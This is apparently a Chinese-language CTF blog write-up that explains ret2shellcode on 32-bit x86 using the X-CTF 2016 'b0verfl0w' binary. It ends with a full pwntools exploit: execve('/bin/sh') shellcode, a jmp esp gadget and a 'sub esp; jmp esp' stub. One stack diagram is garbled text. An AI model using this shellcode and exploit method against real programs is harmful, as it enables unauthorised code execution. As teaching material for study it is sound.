Pwn ret2shellcode in x86

注意
本文最后更新于 2022-04-18,文中内容可能已过时。

shellcode 指达到某种目的的 (二进制) 代码片段, 在 pwn 中一般指获取 shell 的指令.

下面以调用函数 execve("/bin/sh",0,0) 的 shellcode 来举例说明.

shellcode 面向的对象是 CPU, 就是系统能够直接执行的指令. 所以一般而言, 是一串二进制代码. 这串代码其实就是机器指令. 写一个获得 shell 的汇编程序, 然后 hexdump 一下, 得到的二进制数据, 就是 shellcode 了.

不会. 这涉及到了汇编和系统调用, 没怎么深入学习过.

同样是获得 shell, 不同人可能有不同的写法, 就像其他任何一门语言一样. 这就导致了 shellcode 的长度并不是固定的. 有时候我们需要更短的 shellcode.

shell-storm.org 收录了许多 shellcode, 可以直接使用. 目前 x86 32 位最短的 execve("/bin/sh",0,0) shellcode 是 21 (0x15) 个字节.

需要注意的一点是, shellcode 如果放在堆或者一些段上, 在读取的时候, 碰到 \0x00 就会停. 这称为 坏字符, 在编写 shellcode 的时候需要避免. 如果是栈上的 shellcode, 好像没有这个要求 (应该吧, 不是很懂), 可能可以编写更短的 shellcode.

shellcode 就是一串机器码, 那么只要执行它, 就可以获得 shell 了. 一般来说, 我们会向内存中写入 shellcode, 可能写入到栈上, 也可能写入到数据段上, 当然也可能是其他地方. 然后需要执行它, 一般来说可以 jmp 到 shellcode 的地址.

需要注意的是, 如果存放 shellcode 的空间没有可执行权限, 那程序会崩溃. 所以 ret2shellcode 时一定要保证 shellcode 的位置具有可执行权限.

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#1

rizin 打开, iI 查看信息, x86 架构 32 位 ELF, 没有 PIE, canary, 没开栈不可执行.

aaa;afl, 有一个提示函数 (先不管它, 它真的只是提示). s main;pdg, 调用 vul 函数. s sym.vul; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
undefined4 sym.vul(void)
{
    char *s;
    
    sym.imp.puts("\n======================");
    sym.imp.puts("\nWelcome to X-CTF 2016!");
    sym.imp.puts("\n======================");
    sym.imp.puts("What\'s your name?");
    sym.imp.fflush(_reloc.stdout);
    sym.imp.fgets(&s, 0x32, _reloc.stdin);
    sym.imp.printf("Hello %s.", &s);
    sym.imp.fflush(_reloc.stdout);
    return 1;
}

pdf:

1
2
3
  ...
  ; var char *s @ ebp-0x20
  ...

发现存在栈溢出.

但是溢出的部分比较, 只有 0x32 - 0x20 - 0x04 = 0x0E (14) 个字节.

成功
笑死, ret2libc 只需要溢出 12 个字节, 这里题目还给多了. 尝试了一下 ret2libc 打通了.

还是来看怎么 ret2shellcode 吧.

因为栈可以执行, 那么直接把 shellcode 写到栈上, 然后看能不能让指令流跳到栈上.

找一下有没有 jmp esp 这种东西: "/R/ jmp esp", 找到 0x08048504 处有 jmp esp.

由于在 vul 函数的 ret 前, 已经执行了 leave, 现在 esp 都指向 vul 的返回地址, 把它覆盖为 jmp esp 的地址:

0 x o 0 l 8 d 0 4 e 8 b 5 p 0 4 j m p e e s s p p 0 x o 0 l 8 d 0 4 e 8 b 5 p 0 4 e e s i p p = 0 x 0 8 0 4 8 5 0 4 0 x o 0 l 8 d 0 4 e 8 b 5 p 0 4 e s p & e i p

然后执行 ret, esp 再往上一位. 再执行一条指令, eip 就到了栈空间上. 接下来, 它就会执行当前栈顶, 也就是返回地址上面的栈上的指令了.

如果溢出够, 那么其实可以直接继续向栈上写 shellcode, 但是最短的 x86 shellcode 也要 21 个字节, 这里只有 14 个, 明显不够. 这时需要绕一个弯. 在填充 buf 的时候, 实际上有 0x20 个字节的空间. 那么可以把 shellcode 写在 buf 处, 然后让 eip 再跳过来就好了. 所以, 先 sub esp, 0x28 (0x20 的 buf + 0x04 的 old ebp + 0x04 的返回地址), 然后 jmp esp.

技巧
这里把 shellcode 写到 sub 的开始位置, 如果是写中间的某个位置, 那么相应的 sub esp, xxx 要改写, 使 esp 指向 shellcode 的开始, 然后才能 jmp esp 让 eip 跳过去执行 shellcode).

那么直接继续向栈上写 sub esp 0x28;jmp esp 就行了, 一共 5 个字节, 没有超出.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

sh = process('./b0verfl0w')

# shellcode =  b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f'
# shellcode += b'\x73\x68\x68\x2f\x62\x69\x6e\x89'
# sehllcode += b'\xe3\xb0\x0b\xcd\x80'
shellcode =  asm('xor ecx, ecx')
shellcode += asm('mul ecx')
shellcode += asm('push ecx')
shellcode += asm('push 0x68732f2f')
shellcode += asm('push 0x6e69622f')
shellcode += asm('mov ebx, esp')
shellcode += asm('mov al, 11')
shellcode += asm('int 0x80')

jmp_esp = 0x08048504

# code_sub_jmp = b'\x83\xec\x28\xff\xe4'
code_sub_jmp = asm('sub esp, 0x28;jmp esp')

payload = shellcode.ljust(0x20+0x04, b'a')
payload += p32(jmp_esp) + code_sub_jmp

sh.sendline(payload)
sh.interactive()